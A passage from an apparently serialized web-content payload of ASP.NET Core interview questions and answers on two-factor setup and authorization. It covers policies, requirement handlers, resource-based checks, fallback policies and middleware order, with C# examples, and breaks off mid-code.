await _userManager.GetEmailAsync(user);\n    var qrUri    = $\"otpauth:\u002F\u002Ftotp\u002FMyApp:{email}?secret={unformattedKey}&issuer=MyApp\";\n    return Ok(new { qrUri, manualKey = unformattedKey });\n}\n\n\u002F\u002F Step 2 — verify and enable (user enters code from authenticator app):\n[HttpPost(\"verify-2fa\")]\n[Authorize]\npublic async Task\u003CIActionResult> Verify2Fa([FromBody] TwoFactorDto dto)\n{\n    var user    = await _userManager.GetUserAsync(User);\n    var isValid = await _userManager.VerifyTwoFactorTokenAsync(\n        user!, _userManager.Options.Tokens.AuthenticatorTokenProvider, dto.Code);\n\n    if (!isValid) return BadRequest(\"Invalid code\");\n\n    await _userManager.SetTwoFactorEnabledAsync(user!, true);\n    return Ok(\"2FA enabled\");\n}\n\n\u002F\u002F Step 3 — login flow with 2FA:\n\u002F\u002F After password check, if user.TwoFactorEnabled:\n\u002F\u002F await _signInManager.PasswordSignInAsync → TwoFactorRequired result\n\u002F\u002F Prompt user for TOTP code, then:\nawait _signInManager.TwoFactorAuthenticatorSignInAsync(code, isPersistent: false, rememberClient: false);\n```\n\n**Rule of thumb:** Always generate new authenticator keys with `ResetAuthenticatorKeyAsync`\nwhen the user explicitly re-enrolls (not on first setup). Offer recovery codes so users\ncan regain access if they lose their authenticator device.\n",15,null,{"description":32},"ASP.NET Core authentication interview questions — cookie auth, ClaimsPrincipal, authentication schemes, custom handlers, and challenge vs forbid.","dotnet\u002Fsecurity\u002Fauthentication","2026-06-23","XXr-SC2tCMdMceWstHHIi5Z2Ll3upBYIKYlziL0u7To",{"id":111,"title":112,"body":113,"description":32,"difficulty":35,"extension":36,"framework":10,"frameworkSlug":8,"meta":117,"navigation":38,"order":33,"path":118,"questions":119,"questionsCount":103,"related":104,"seo":180,"seoDescription":181,"stem":182,"subtopic":112,"topic":19,"topicSlug":21,"updated":108,"__hash__":183},"qa\u002Fdotnet\u002Fsecurity\u002Fauthorization.md","Authorization",{"type":29,"value":114,"toc":115},[],{"title":32,"searchDepth":33,"depth":33,"links":116},[],{},"\u002Fdotnet\u002Fsecurity\u002Fauthorization",[120,124,128,132,136,140,144,148,152,156,160,164,168,172,176],{"id":121,"difficulty":43,"q":122,"a":123},"authz-policy-vs-role","What is policy-based authorization and how does it differ from role-based authorization?","**Role-based authorization** checks whether the user belongs to a named role — it's\nsimple but inflexible. **Policy-based authorization** evaluates one or more composable\n*requirements*, enabling richer rules (minimum age, department, subscription tier, etc.).\n\n```csharp\n\u002F\u002F Role-based — check a single ClaimTypes.Role claim:\n[Authorize(Roles = \"Admin\")]           \u002F\u002F single role\n[Authorize(Roles = \"Admin,Manager\")]   \u002F\u002F either role (OR logic)\npublic class AdminController : ControllerBase { }\n\n\u002F\u002F Stacking [Authorize] means AND — both must pass:\n[Authorize(Roles = \"Admin\")]\n[Authorize(Roles = \"Manager\")]\npublic class AdminManagerOnlyController : ControllerBase { }\n\n\u002F\u002F Policy-based — named policy with composable requirements:\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"SeniorEmployee\", policy =>\n        policy.RequireAuthenticatedUser()\n              .RequireRole(\"Employee\")\n              .RequireClaim(\"department\", \"Engineering\", \"Product\")\n              .RequireClaim(\"years_tenure\")\n              .AddRequirements(new MinimumTenureRequirement(years: 3)));\n\n[Authorize(Policy = \"SeniorEmployee\")]\npublic class SeniorPortalController : ControllerBase { }\n\n\u002F\u002F Policy centralizes rules — change the policy definition, all usages update:\n\u002F\u002F Role check is just a shortcut policy under the hood.\n```\n\n**Rule of thumb:** Use `Roles` for simple, coarse-grained access. Use policies for\nanything beyond a single role check — they're reusable, testable, and centralized.\n",{"id":125,"difficulty":43,"q":126,"a":127},"add-authorization","How do you configure authorization policies in ASP.NET Core?","Policies are registered in `AddAuthorization` (or `AddAuthorizationBuilder` .NET 8+)\nand applied with `[Authorize(Policy = \"...\")]` or `RequireAuthorization(\"...\")`.\n\n```csharp\n\u002F\u002F .NET 8+ fluent builder — cleaner API:\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"AtLeast18\", policy =>\n        policy.Requirements.Add(new MinimumAgeRequirement(18)))\n\n    .AddPolicy(\"PremiumUser\", policy =>\n        policy.RequireAuthenticatedUser()\n              .RequireClaim(\"subscription\", \"premium\", \"enterprise\"))\n\n    .AddPolicy(\"AdminOnly\", policy =>\n        policy.RequireRole(\"Admin\"))\n\n    .SetDefaultPolicy(new AuthorizationPolicyBuilder()\n        .RequireAuthenticatedUser()\n        .Build())\n\n    .SetFallbackPolicy(null); \u002F\u002F null = allow anonymous by default (change if needed)\n\n\u002F\u002F .NET 6\u002F7 style:\nbuilder.Services.AddAuthorization(options =>\n{\n    options.AddPolicy(\"AtLeast18\", policy =>\n        policy.Requirements.Add(new MinimumAgeRequirement(18)));\n});\n\n\u002F\u002F Apply in controllers:\n[Authorize(Policy = \"PremiumUser\")]\npublic class PremiumController : ControllerBase { }\n\n\u002F\u002F Apply in minimal APIs:\napp.MapGet(\"\u002Fpremium\", () => \"premium content\")\n   .RequireAuthorization(\"PremiumUser\");\n\n\u002F\u002F Combine policies — both must pass (AND logic):\napp.MapPost(\"\u002Fadmin\u002Fpremium\", () => \"admin + premium\")\n   .RequireAuthorization(\"AdminOnly\", \"PremiumUser\");\n```\n\n**Rule of thumb:** Define policies centrally during startup — avoid scattering role\nstrings across controllers. Centralizing rules means a single change updates every\nendpoint that uses that policy.\n",{"id":129,"difficulty":35,"q":130,"a":131},"requirements-handlers","What are authorization requirements and handlers, and how do they work together?","An **`IAuthorizationRequirement`** is a data object that describes what must be true.\nAn **`IAuthorizationHandler`** evaluates whether the requirement is met for a given\nuser and resource.\n\n```csharp\n\u002F\u002F 1. Define the requirement (plain data, no logic):\npublic class MinimumAgeRequirement : IAuthorizationRequirement\n{\n    public int MinimumAge { get; }\n    public MinimumAgeRequirement(int minimumAge) => MinimumAge = minimumAge;\n}\n\n\u002F\u002F 2. Implement the handler (all logic lives here):\npublic class MinimumAgeHandler : AuthorizationHandler\u003CMinimumAgeRequirement>\n{\n    protected override Task HandleRequirementAsync(\n        AuthorizationHandlerContext context,\n        MinimumAgeRequirement requirement)\n    {\n        var dob = context.User.FindFirstValue(ClaimTypes.DateOfBirth);\n\n        if (dob is null)\n        {\n            \u002F\u002F Don't call Fail() — let other handlers try if any are registered:\n            return Task.CompletedTask;\n        }\n\n        var age = DateTime.Today.Year - DateTime.Parse(dob).Year;\n\n        if (age >= requirement.MinimumAge)\n            context.Succeed(requirement); \u002F\u002F requirement satisfied — call this to pass\n        else\n            context.Fail();               \u002F\u002F explicitly deny (overrides any Succeed)\n\n        return Task.CompletedTask;\n    }\n}\n\n\u002F\u002F 3. Register both:\nbuilder.Services.AddSingleton\u003CIAuthorizationHandler, MinimumAgeHandler>();\n\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"AtLeast18\", policy =>\n        policy.Requirements.Add(new MinimumAgeRequirement(18)));\n\n\u002F\u002F One requirement can have multiple handlers — any Succeed passes the requirement:\n\u002F\u002F All requirements in a policy must pass for the policy to succeed.\n```\n\n**Rule of thumb:** Keep requirements as pure data (no logic). All evaluation logic\nbelongs in the handler. This separation makes handlers independently testable with\njust a constructed `AuthorizationHandlerContext`.\n",{"id":133,"difficulty":64,"q":134,"a":135},"resource-based-authz","What is resource-based authorization and when do you need it?","**Resource-based authorization** evaluates permissions against a specific resource\ninstance — \"can *this user* edit *this document*?\" — as opposed to global role checks.\nIt uses `IAuthorizationService` directly in code because the resource isn't known at\nroute decoration time.\n\n```csharp\n\u002F\u002F Requirement — carries the operation:\npublic static class DocumentOperations\n{\n    public static OperationAuthorizationRequirement Read   = new() { Name = \"Read\" };\n    public static OperationAuthorizationRequirement Edit   = new() { Name = \"Edit\" };\n    public static OperationAuthorizationRequirement Delete = new() { Name = \"Delete\" };\n}\n\n\u002F\u002F Handler — receives the resource instance at runtime:\npublic class DocumentAuthorizationHandler\n    : AuthorizationHandler\u003COperationAuthorizationRequirement, Document>\n{\n    protected override Task HandleRequirementAsync(\n        AuthorizationHandlerContext context,\n        OperationAuthorizationRequirement requirement,\n        Document document)   \u002F\u002F ← the actual resource instance\n    {\n        var userId = context.User.FindFirstValue(ClaimTypes.NameIdentifier);\n\n        if (requirement.Name == \"Read\" && document.IsPublic)\n            context.Succeed(requirement);\n        else if (document.OwnerId == userId)\n            context.Succeed(requirement);  \u002F\u002F owner can do anything\n        else if (requirement.Name != \"Delete\" && context.User.IsInRole(\"Editor\"))\n            context.Succeed(requirement);  \u002F\u002F editors can read\u002Fedit but not delete\n\n        return Task.CompletedTask;\n    }\n}\n\n\u002F\u002F Register:\nbuilder.Services.AddSingleton\u003CIAuthorizationHandler, DocumentAuthorizationHandler>();\n\n\u002F\u002F Call from a controller or service — inject IAuthorizationService:\n[HttpPut(\"{id}\")]\npublic async Task\u003CIActionResult> UpdateDocument(int id, [FromBody] UpdateDto dto)\n{\n    var document = await _repo.GetByIdAsync(id);\n    if (document is null) return NotFound();\n\n    var authResult = await _authorizationService.AuthorizeAsync(\n        User, document, DocumentOperations.Edit);\n\n    if (!authResult.Succeeded) return Forbid();\n\n    await _repo.UpdateAsync(document, dto);\n    return NoContent();\n}\n```\n\n**Rule of thumb:** Use `[Authorize(Policy = \"...\")]` for global checks (role, age).\nUse `IAuthorizationService.AuthorizeAsync(user, resource, requirement)` when the\ndecision depends on the data being accessed.\n",{"id":137,"difficulty":43,"q":138,"a":139},"authorize-attribute","How does the [Authorize] attribute work and what are its key parameters?","`[Authorize]` is an action filter that runs after authentication and before the action\nmethod. It evaluates the user's `ClaimsPrincipal` against the specified roles, policy,\nor authentication scheme.\n\n```csharp\n\u002F\u002F Bare [Authorize] — requires IsAuthenticated = true (default policy):\n[Authorize]\npublic IActionResult Profile() => Ok(User.Identity!.Name);\n\n\u002F\u002F Role — checks ClaimTypes.Role claim (comma = OR, stacked = AND):\n[Authorize(Roles = \"Admin,SuperAdmin\")]       \u002F\u002F Admin OR SuperAdmin\npublic IActionResult AdminArea() => Ok();\n\n[Authorize(Roles = \"Admin\")]\n[Authorize(Roles = \"Manager\")]               \u002F\u002F Admin AND Manager\npublic IActionResult AdminManager() => Ok();\n\n\u002F\u002F Named policy:\n[Authorize(Policy = \"PremiumUser\")]\npublic IActionResult PremiumContent() => Ok();\n\n\u002F\u002F Specific authentication scheme (evaluate with this scheme only):\n[Authorize(AuthenticationSchemes = JwtBearerDefaults.AuthenticationScheme)]\npublic IActionResult ApiEndpoint() => Ok();\n\n\u002F\u002F Controller-level + action-level (both must pass):\n[Authorize]                       \u002F\u002F all actions require auth\npublic class AccountController : ControllerBase\n{\n    [AllowAnonymous]              \u002F\u002F this action overrides — allows anonymous\n    public IActionResult Login() => Ok();\n\n    [Authorize(Roles = \"Admin\")] \u002F\u002F this action requires auth + Admin role\n    public IActionResult AdminAction() => Ok();\n\n    public IActionResult Profile() => Ok(); \u002F\u002F uses controller-level [Authorize]\n}\n```\n\n**Rule of thumb:** Prefer `[Authorize]` at the controller level with `[AllowAnonymous]`\non exceptions — it's harder to accidentally expose an endpoint. Avoid sprinkling\n`[AllowAnonymous]` at the controller level with `[Authorize]` on individual actions.\n",{"id":141,"difficulty":35,"q":142,"a":143},"iauthorizationservice","How do you use IAuthorizationService for imperative authorization checks?","**`IAuthorizationService`** allows runtime authorization checks in service\u002Fcontroller\ncode rather than declarative attribute-only checks. Inject it and call\n`AuthorizeAsync`.\n\n```csharp\n\u002F\u002F Controller — inject IAuthorizationService:\n[ApiController]\n[Route(\"api\u002Fdocuments\")]\npublic class DocumentsController : ControllerBase\n{\n    private readonly IAuthorizationService _authz;\n    private readonly IDocumentRepository _repo;\n\n    public DocumentsController(IAuthorizationService authz, IDocumentRepository repo)\n    {\n        _authz = authz;\n        _repo  = repo;\n    }\n\n    [HttpGet(\"{id}\")]\n    public async Task\u003CIActionResult> Get(int id)\n    {\n        var doc = await _repo.GetAsync(id);\n        if (doc is null) return NotFound();\n\n        \u002F\u002F Imperative check — policy name:\n        var result = await _authz.AuthorizeAsync(User, \"CanReadDocuments\");\n        if (!result.Succeeded) return Forbid();\n\n        return Ok(doc);\n    }\n\n    [HttpDelete(\"{id}\")]\n    public async Task\u003CIActionResult> Delete(int id)\n    {\n        var doc = await _repo.GetAsync(id);\n        if (doc is null) return NotFound();\n\n        \u002F\u002F Imperative check — resource-based with specific requirement:\n        var result = await _authz.AuthorizeAsync(User, doc, DocumentOperations.Delete);\n        if (!result.Succeeded) return Forbid();\n\n        await _repo.DeleteAsync(id);\n        return NoContent();\n    }\n}\n\n\u002F\u002F In a service (not a controller) — the user must be passed in:\npublic class DocumentService\n{\n    private readonly IAuthorizationService _authz;\n\n    public async Task\u003Cbool> CanDeleteAsync(ClaimsPrincipal user, Document doc)\n    {\n        var result = await _authz.AuthorizeAsync(user, doc, DocumentOperations.Delete);\n        return result.Succeeded;\n    }\n}\n```\n\n**Rule of thumb:** Use `IAuthorizationService` when the authorization decision depends\non runtime data (the resource itself). Use `[Authorize(Policy = \"...\")]` for static\nchecks that don't need a resource instance.\n",{"id":145,"difficulty":35,"q":146,"a":147},"claims-based-authz","How do you authorize based on specific claim values rather than roles?","`RequireClaim` in a policy checks for the presence of a claim type, or optionally\nvalidates that its value is in an allowed set.\n\n```csharp\nbuilder.Services.AddAuthorizationBuilder()\n\n    \u002F\u002F Require the claim to exist (any value):\n    .AddPolicy(\"VerifiedEmail\", policy =>\n        policy.RequireClaim(ClaimTypes.Email))\n\n    \u002F\u002F Require specific values (OR — any value in the set passes):\n    .AddPolicy(\"EURegion\", policy =>\n        policy.RequireClaim(\"region\", \"EU\", \"EEA\", \"CH\"))\n\n    \u002F\u002F Combine multiple claim requirements (AND):\n    .AddPolicy(\"VerifiedEUUser\", policy =>\n        policy.RequireAuthenticatedUser()\n              .RequireClaim(ClaimTypes.Email)\n              .RequireClaim(\"email_verified\", \"true\")\n              .RequireClaim(\"region\", \"EU\", \"EEA\"))\n\n    \u002F\u002F Custom requirement for complex value logic:\n    .AddPolicy(\"PremiumOrTrial\", policy =>\n        policy.RequireAssertion(ctx =>\n        {\n            var sub  = ctx.User.FindFirstValue(\"subscription\");\n            var trial = ctx.User.FindFirstValue(\"trial_active\");\n            return sub == \"premium\" || trial == \"true\";\n        }));\n\n\u002F\u002F RequireAssertion — inline lambda for simple one-off logic:\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"WeekdayOnly\", policy =>\n        policy.RequireAssertion(_ =>\n            DateTime.UtcNow.DayOfWeek is not DayOfWeek.Saturday\n                                       and not DayOfWeek.Sunday));\n```\n\n**Rule of thumb:** Use `RequireClaim` for attribute-style checks that map neatly to a\nclaim value. Use `RequireAssertion` for inline logic that doesn't warrant a full\nrequirement+handler pair. Move complex, reusable logic to a proper handler.\n",{"id":149,"difficulty":35,"q":150,"a":151},"fallback-default-policy","What are the default policy and fallback policy in ASP.NET Core authorization?","The **default policy** is applied when `[Authorize]` is used with no policy name.\nThe **fallback policy** is applied to every endpoint that has *no* authorization\nmetadata at all — including endpoints that never have `[Authorize]` on them.\n\n```csharp\nbuilder.Services.AddAuthorizationBuilder()\n    \u002F\u002F Applied when [Authorize] has no parameters:\n    .SetDefaultPolicy(new AuthorizationPolicyBuilder()\n        .RequireAuthenticatedUser()\n        .Build())\n\n    \u002F\u002F Applied to ALL endpoints with no [Authorize] attribute\n    \u002F\u002F (opt-in secure-by-default):\n    .SetFallbackPolicy(new AuthorizationPolicyBuilder()\n        .RequireAuthenticatedUser()\n        .Build());\n\u002F\u002F With a fallback policy, every route is protected unless explicitly opened:\n\u002F\u002F app.MapGet(\"\u002Fpublic\", ...).AllowAnonymous();\n\n\u002F\u002F Secure-by-default pattern with minimal API groups:\nvar secured = app.MapGroup(\"\u002Fapi\").RequireAuthorization();    \u002F\u002F all children protected\nvar open    = app.MapGroup(\"\u002Fpublic\").AllowAnonymous();        \u002F\u002F all children public\n\n\u002F\u002F Disable fallback for a specific endpoint:\nsecured.MapGet(\"\u002Fhealth\", () => \"ok\").AllowAnonymous();\n\n\u002F\u002F Without a fallback policy (default behavior) — anonymous access is allowed\n\u002F\u002F to any route without [Authorize]. Easy to accidentally expose sensitive routes.\n```\n\n**Rule of thumb:** Set a fallback policy of `RequireAuthenticatedUser` in API-only\napplications — it makes the secure path the default and forces you to explicitly\nopt out with `[AllowAnonymous]`. This prevents accidentally exposing endpoints.\n",{"id":153,"difficulty":43,"q":154,"a":155},"allow-anonymous","How does [AllowAnonymous] work and where should you use it?","`[AllowAnonymous]` bypasses all authorization requirements for the endpoint it decorates,\nincluding the fallback policy. It's absolute — no policy can override it.\n\n```csharp\n\u002F\u002F [AllowAnonymous] at action level overrides [Authorize] at controller level:\n[Authorize]\npublic class AccountController : ControllerBase\n{\n    [AllowAnonymous]        \u002F\u002F no auth needed — this action is public\n    [HttpGet(\"login\")]\n    public IActionResult Login() => View();\n\n    [AllowAnonymous]        \u002F\u002F public — return form to browser\n    [HttpPost(\"login\")]\n    public async Task\u003CIActionResult> Login([FromBody] LoginDto dto) { \u002F* ... *\u002F return Ok(); }\n\n    [HttpGet(\"profile\")]    \u002F\u002F inherits [Authorize] from controller — requires auth\n    public IActionResult Profile() => Ok(User.Identity!.Name);\n\n    [Authorize(Roles = \"Admin\")]  \u002F\u002F requires auth AND Admin role\n    [HttpGet(\"admin\")]\n    public IActionResult Admin() => Ok();\n}\n\n\u002F\u002F In minimal APIs:\nvar api = app.MapGroup(\"\u002Fapi\").RequireAuthorization();\napi.MapGet(\"\u002Fproducts\", (IProductService svc) => svc.GetAll()); \u002F\u002F protected\napi.MapGet(\"\u002Fhealth\",   () => Results.Ok()).AllowAnonymous();    \u002F\u002F public\n\n\u002F\u002F [AllowAnonymous] defeats even a fallback policy:\n\u002F\u002F If SetFallbackPolicy(requireAuth), AllowAnonymous still bypasses it.\n```\n\n**Rule of thumb:** Put `[Authorize]` at the highest scope (controller, group) and\n`[AllowAnonymous]` at the lowest scope (individual actions\u002Fendpoints). Never put\n`[AllowAnonymous]` at the controller level — it becomes invisible to callers adding\nnew protected actions.\n",{"id":157,"difficulty":35,"q":158,"a":159},"global-authorize-filter","How do you add a global authorization filter so that every endpoint requires authentication?","Add `AuthorizeFilter` globally in MVC options, or set a fallback policy. Both\napproaches require authentication on every route unless `[AllowAnonymous]` is present.\n\n```csharp\n\u002F\u002F Option 1 — global MVC filter (controllers only, not minimal APIs):\nbuilder.Services.AddControllers(options =>\n{\n    var policy = new AuthorizationPolicyBuilder()\n        .RequireAuthenticatedUser()\n        .Build();\n    options.Filters.Add(new AuthorizeFilter(policy));\n});\n\n\u002F\u002F Option 2 — fallback policy (works for controllers + minimal APIs):\nbuilder.Services.AddAuthorizationBuilder()\n    .SetFallbackPolicy(new AuthorizationPolicyBuilder()\n        .RequireAuthenticatedUser()\n        .Build());\n\n\u002F\u002F Option 3 — MapGroup with RequireAuthorization (minimal API scoping):\nvar api = app.MapGroup(\"\u002Fapi\").RequireAuthorization();\n\n\u002F\u002F In all three cases, open specific endpoints with [AllowAnonymous]:\n[AllowAnonymous]\n[HttpGet(\"public-status\")]\npublic IActionResult PublicStatus() => Ok(\"online\");\n\n\u002F\u002F Recommendation: prefer the fallback policy over the MVC filter\n\u002F\u002F because it covers both controllers and minimal API endpoints.\n```\n\n**Rule of thumb:** For API-only applications, set the fallback policy to\n`RequireAuthenticatedUser` — it's the single secure-by-default knob that covers\nevery routing mechanism.\n",{"id":161,"difficulty":64,"q":162,"a":163},"policy-provider","What is IAuthorizationPolicyProvider and when would you implement a custom one?","**`IAuthorizationPolicyProvider`** is called by the authorization system to look up\npolicies by name. The default implementation searches the policies registered in\n`AddAuthorization`. A custom provider lets you generate policies dynamically — useful\nfor parameterized policies like `MinimumAge:18` without registering every variant\nupfront.\n\n```csharp\n\u002F\u002F Without a custom provider, every variant must be registered explicitly:\n\u002F\u002F .AddPolicy(\"MinimumAge:16\", ...) .AddPolicy(\"MinimumAge:18\", ...) — tedious\n\n\u002F\u002F With a custom provider — generate policies on demand:\npublic class MinimumAgePolicyProvider : IAuthorizationPolicyProvider\n{\n    private const string PolicyPrefix = \"MinimumAge:\";\n    private readonly DefaultAuthorizationPolicyProvider _fallback;\n\n    public MinimumAgePolicyProvider(IOptions\u003CAuthorizationOptions> options)\n        => _fallback = new DefaultAuthorizationPolicyProvider(options);\n\n    public Task\u003CAuthorizationPolicy?> GetPolicyAsync(string policyName)\n    {\n        if (policyName.StartsWith(PolicyPrefix, StringComparison.OrdinalIgnoreCase))\n        {\n            if (int.TryParse(policyName[PolicyPrefix.Length..], out var age))\n            {\n                var policy = new AuthorizationPolicyBuilder()\n                    .AddRequirements(new MinimumAgeRequirement(age))\n                    .Build();\n                return Task.FromResult\u003CAuthorizationPolicy?>(policy);\n            }\n        }\n        return _fallback.GetPolicyAsync(policyName); \u002F\u002F delegate to default\n    }\n\n    public Task\u003CAuthorizationPolicy> GetDefaultPolicyAsync()\n        => _fallback.GetDefaultPolicyAsync();\n\n    public Task\u003CAuthorizationPolicy?> GetFallbackPolicyAsync()\n        => _fallback.GetFallbackPolicyAsync();\n}\n\n\u002F\u002F Register (replaces the default provider):\nbuilder.Services.AddSingleton\u003CIAuthorizationPolicyProvider, MinimumAgePolicyProvider>();\n\n\u002F\u002F Use parameterized policy names anywhere:\n[Authorize(Policy = \"MinimumAge:21\")]\npublic IActionResult AlcoholSection() => Ok();\n\n[Authorize(Policy = \"MinimumAge:16\")]\npublic IActionResult TeenSection() => Ok();\n```\n\n**Rule of thumb:** Implement `IAuthorizationPolicyProvider` only when you have a family\nof policies that differ only by a parameter (age, permission ID, etc.). Always fall back\nto `DefaultAuthorizationPolicyProvider` for all other policy names.\n",{"id":165,"difficulty":35,"q":166,"a":167},"authorization-middleware-order","Why does middleware order matter for authorization, and what breaks if it is wrong?","Authorization middleware relies on `HttpContext.User` being populated before it runs.\nIf `UseAuthorization` is placed before `UseAuthentication`, every request arrives with\nan anonymous principal and all `[Authorize]` checks fail or pass incorrectly.\n\n```csharp\n\u002F\u002F Correct order — build, authenticate, then authorize:\nvar app = builder.Build();\n\napp.UseRouting();          \u002F\u002F 1. resolve the endpoint (needed by auth middleware)\napp.UseAuthentication();   \u002F\u002F 2. populate HttpContext.User from cookie or token\napp.UseAuthorization();    \u002F\u002F 3. evaluate [Authorize] against the populated User\napp.MapControllers();      \u002F\u002F 4. dispatch to the controller action\n\n\u002F\u002F Wrong — authorization runs before the user identity is established:\n\u002F\u002F app.UseAuthorization();  \u002F\u002F HttpContext.User = anonymous ClaimsPrincipal\n\u002F\u002F app.UseAuthentication(); \u002F\u002F too late — authorization already ran\n\n\u002F\u002F Wrong — routing not called before auth in older templates:\n\u002F\u002F app.UseAuthentication();\n\u002F\u002F app.UseAuthorization();\n\u002F\u002F app.UseRouting(); \u002F\u002F endpoint metadata (like [Authorize]) not yet resolved\n\n\u002F\u002F Effect of wrong order:\n\u002F\u002F [Authorize] endpoints return 401 for every request, including authenticated users.\n\u002F\u002F Resource-based checks via IAuthorizationService still work (called in action bodies)\n\u002F\u002F but attribute-based checks at the middleware level silently fail.\n\n\u002F\u002F Note: UseEndpoints (pre-.NET 6) must also come after UseRouting:\n\u002F\u002F app.UseRouting();\n\u002F\u002F app.UseAuthentication();\n\u002F\u002F app.UseAuthorization();\n\u002F\u002F app.UseEndpoints(e => e.MapControllers());\n```\n\n**Rule of thumb:** The canonical order is `UseRouting → UseAuthentication → UseAuthorization\n→ MapControllers\u002FMapGet`. In .NET 6+ minimal hosting this is the default, but always\nverify when customizing the pipeline.\n",{"id":169,"difficulty":64,"q":170,"a":171},"permission-based-authz","How do you implement fine-grained permission-based authorization beyond roles?","Roles are coarse-grained. For fine-grained control, model **permissions** as claims\nor a custom requirement, and load them from your data store during authentication.\n\n```csharp\n\u002F\u002F Option 1 — permission claims added at login time:\n\u002F\u002F Permissions are stored in the DB (per-user or per-role) and embedded in the token.\n\npublic class PermissionService\n{\n    private readonly AppDbContext _db;\n    public PermissionService(AppDbContext db) => _db = db;\n\n    public async Task\u003CIEnumerable\u003Cstring>> GetForUserAsync(string userId)\n        => await _db.UserPermissions\n            .Where(p => p.UserId == userId)\n            .Select(p => p.Name) \u002F\u002F e.g. \"orders:read\", \"orders:write\"\n            .ToListAsync();\n}\n\n\u002F\u002F Embed permissions as claims when the cookie\u002Ftoken is created:\nvar permissions = await _permissionService.GetForUserAsync(user.Id);\nvar claims = permissions.Select(p => new Claim(\"permission\", p)).ToList();\nclaims.Add(new Claim(ClaimTypes.NameIdentifier, user.Id));\n\n\u002F\u002F Option 2 — custom requirement + handler that checks the claim:\npublic class PermissionRequirement : IAuthorizationRequirement\n{\n    public string Permission { get; }\n    public PermissionRequirement(string permission) => Permission = permission;\n}\n\npublic class PermissionHandler : AuthorizationHandler\u003CPermissionRequirement>\n{\n    protected override Task HandleRequirementAsync(\n        AuthorizationHandlerContext context,\n        PermissionRequirement requirement)\n    {\n        var hasPermission = context.User\n            .FindAll(\"permission\")\n            .Any(c => c.Value == requirement.Permission);\n\n        if (hasPermission)\n            context.Succeed(requirement);\n\n        return Task.CompletedTask;\n    }\n}\n\n\u002F\u002F Register and define policies:\nbuilder.Services.AddSingleton\u003CIAuthorizationHandler, PermissionHandler>();\n\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"orders:read\",  p => p.AddRequirements(new PermissionRequirement(\"orders:read\")))\n    .AddPolicy(\"orders:write\", p => p.AddRequirements(new PermissionRequirement(\"orders:write\")));\n\n\u002F\u002F Use on endpoints:\n[Authorize(Policy = \"orders:write\")]\n[HttpPost(\"orders\")]\npublic IActionResult CreateOrder([FromBody] CreateOrderDto dto) => Ok();\n```\n\n**Rule of thumb:** Keep permissions granular and name them as `resource:action` strings\n(e.g., `orders:write`). Store them per-role in the DB so you can update permissions\nwithout redeploying; embed them in the token at login to avoid a DB lookup on every request.\n",{"id":173,"difficulty":64,"q":174,"a":175},"conditional-access","How do you implement conditional access rules, such as restricting endpoints by IP range or time of day?","Use `RequireAssertion` for simple inline rules, or implement a full\n`IAuthorizationRequirement` + handler for complex, reusable conditions. The\n`AuthorizationHandlerContext` gives you access to `HttpContext` via the resource.\n\n```csharp\n\u002F\u002F Simple time-of-day gate via RequireAssertion:\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"BusinessHoursOnly\", policy =>\n        policy.RequireAuthenticatedUser()\n              .RequireAssertion(_ =>\n              {\n                  var now = DateTime.UtcNow;\n                  \u002F\u002F Allow Mon–Fri 09:00–17:00 UTC:\n                  return now.DayOfWeek is not DayOfWeek.Saturday\n                                        and not DayOfWeek.Sunday\n                      && now.Hour >= 9 && now.Hour \u003C 17;\n              }));\n\n\u002F\u002F IP range restriction — requirement + handler accessing HttpContext:\npublic class AllowedIpRequirement : IAuthorizationRequirement\n{\n    public IReadOnlyList\u003Cstring> AllowedPrefixes { get; }\n    public AllowedIpRequirement(params string[] prefixes) => AllowedPrefixes = prefixes;\n}\n\npublic class AllowedIpHandler : AuthorizationHandler\u003CAllowedIpRequirement>\n{\n    private readonly IHttpContextAccessor _http;\n    public AllowedIpHandler(IHttpContextAccessor http) => _http = http;\n\n    protected override Task HandleRequirementAsync(\n        AuthorizationHandlerContext context,\n        AllowedIpRequirement requirement)\n    {\n        var remoteIp = _http.HttpContext?.Connection.RemoteIpAddress?.ToString();\n        if (remoteIp is not null &&\n            requirement.AllowedPrefixes.Any(prefix => remoteIp.StartsWith(prefix)))\n        {\n            context.Succeed(requirement);\n        }\n        \u002F\u002F Note: not calling Fail() allows other handlers to decide if registered\n        return Task.CompletedTask;\n    }\n}\n\n\u002F\u002F Register and apply:\nbuilder.Services.AddHttpContextAccessor();\nbuilder.Services.AddSingleton\u003CIAuthorizationHandler, AllowedIpHandler>();\n\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"InternalNetworkOnly\", policy =>\n        policy.RequireAuthenticatedUser()\n              .AddRequirements(new AllowedIpRequirement(\"10.0.\", \"192.168.\")));\n\n[Authorize(Policy = \"InternalNetworkOnly\")]\n[HttpGet(\"admin\u002Fdiagnostics\")]\npublic IActionResult Diagnostics() => Ok(\"internal only\");\n```\n\n**Rule of thumb:** Prefer `RequireAssertion` for stateless, self-contained conditions.\nUse a proper handler when the condition needs injected services (databases, HTTP context,\nconfiguration) — it keeps the logic testable and reusable across policies.\n",{"id":177,"difficulty":35,"q":178,"a":179},"authorization-result-handling","How do you return custom error responses when authorization fails, instead of the default 403?","Override `IAuthorizationMiddlewareResultHandler` (ASP.NET Core 5+) or handle failures\nin `ProblemDetails` middleware. For specific schemes, use the scheme's event callbacks.\n\n```csharp\n\u002F\u002F Option 1 — custom IAuthorizationMiddlewareResultHandler:\npublic class CustomAuthorizationResultHandler : IAuthorizationMiddlewareResultHandler\n{\n    private readonly AuthorizationMiddlewareResultHandler _default = new();\n\n    public async Task HandleAsync(\n        RequestDelegate next,\n        HttpContext context,\n        AuthorizationPolicy policy,\n        PolicyAuthorizationResult authorizeResult)\n    {\n        if (authorizeResult.Forbidden && authorizeResult.AuthorizationFailure is not null)\n        {\n            \u002F\u002F Return structured JSON instead of plain 403:\n            context.Response.StatusCode  = StatusCodes.Status403Forbidden;\n            context.Response.ContentType = \"application\u002Fproblem+json\";\n            await context.Response.WriteAsJsonAsync(new\n            {\n                type   = \"https:\u002F\u002Ftools.ietf.org\u002Fhtml\u002Frfc7231#section-6.5.3\",\n                title  = \"Forbidden\",\n                status = 403,\n                detail = \"You do not have permission to perform this action.\",\n                failedRequirements = authorizeResult.AuthorizationFailure\n                    .FailedRequirements\n                    .Select(r => r.GetType().Name),\n            });\n            